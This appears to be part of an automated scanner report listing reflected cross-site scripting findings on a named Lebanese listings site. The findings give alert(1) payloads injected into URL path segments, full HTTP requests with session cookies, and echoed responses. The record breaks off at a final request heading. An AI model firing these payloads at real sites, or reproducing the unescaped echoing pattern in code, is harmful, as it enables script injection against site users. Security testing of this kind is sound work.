HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:05:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60185
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping4de26"><a>34b6c8001fc"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1cf57'-alert(1)-'e69a37a240c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping1cf57'-alert(1)-'e69a37a240c/Consumer-Goods/235690923/Flowers/17 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:17:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59986
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping1cf57'-alert(1)-'e69a37a240c/Consumer-Goods/235690923/Flowers/17'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a81a'-alert(1)-'1956de7bef2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods7a81a'-alert(1)-'1956de7bef2/235690923/Flowers/17 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:23:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60646
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods7a81a'-alert(1)-'1956de7bef2/235690923/Flowers/17'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1147e<script>alert(1)</script>19941d15beb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goods1147e<script>alert(1)</script>19941d15beb/235690923/Flowers/17 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:24:15 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60809
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goods1147e<script>alert(1)</script>19941d15beb <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 85888'-alert(1)-'9e0400966d6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/23569092385888'-alert(1)-'9e0400966d6/Flowers/17 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:30:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60582
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/23569092385888'-alert(1)-'9e0400966d6/Flowers/17'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7243f'-alert(1)-'89531dee816 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Flowers7243f'-alert(1)-'89531dee816/17 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:40:17 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60770
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods/235690923/Flowers7243f'-alert(1)-'89531dee816/17'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1aed1'-alert(1)-'8b3b0deab09 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Flowers/171aed1'-alert(1)-'8b3b0deab09 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:43:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54691
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/235690923/Flowers/171aed1'-alert(1)-'8b3b0deab09'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 85667'-alert(1)-'a605d5bdfc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping85667'-alert(1)-'a605d5bdfc/Consumer-Goods/235690923/Health-Products/77 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:15:11 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60069
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping85667'-alert(1)-'a605d5bdfc/Consumer-Goods/235690923/Health-Products/77'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49197"><a>b145eaef40b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping49197"><a>b145eaef40b/Consumer-Goods/235690923/Health-Products/77 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:08:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59972
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping49197"><a>b145eaef40b"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 63f65<script>alert(1)</script>40eb55dc44b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goods63f65<script>alert(1)</script>40eb55dc44b/235690923/Health-Products/77 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:21:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57188
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goods63f65<script>alert(1)</script>40eb55dc44b <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d838'-alert(1)-'72d3d985711 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods6d838'-alert(1)-'72d3d985711/235690923/Health-Products/77 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:21:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57212
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods6d838'-alert(1)-'72d3d985711/235690923/Health-Products/77'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8ea9'-alert(1)-'a6c4d22974 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923c8ea9'-alert(1)-'a6c4d22974/Health-Products/77 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:27:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57154
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Consumer-Goods/235690923c8ea9'-alert(1)-'a6c4d22974/Health-Products/77'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f3dfd'-alert(1)-'90e1ff14236 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Health-Productsf3dfd'-alert(1)-'90e1ff14236/77 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:33:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57199
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goods/235690923/Health-Productsf3dfd'-alert(1)-'90e1ff14236/77'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e77b'-alert(1)-'535dd4f02cb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Health-Products/777e77b'-alert(1)-'535dd4f02cb HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:38:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54699
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/235690923/Health-Products/777e77b'-alert(1)-'535dd4f02cb'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7add'-alert(1)-'b84110bf729 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppinge7add'-alert(1)-'b84110bf729/Consumer-Goods/235690923/Liquor-Store/70 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:22:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60170
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shoppinge7add'-alert(1)-'b84110bf729/Consumer-Goods/235690923/Liquor-Store/70'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d6e3"><a>13e96ed43f8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
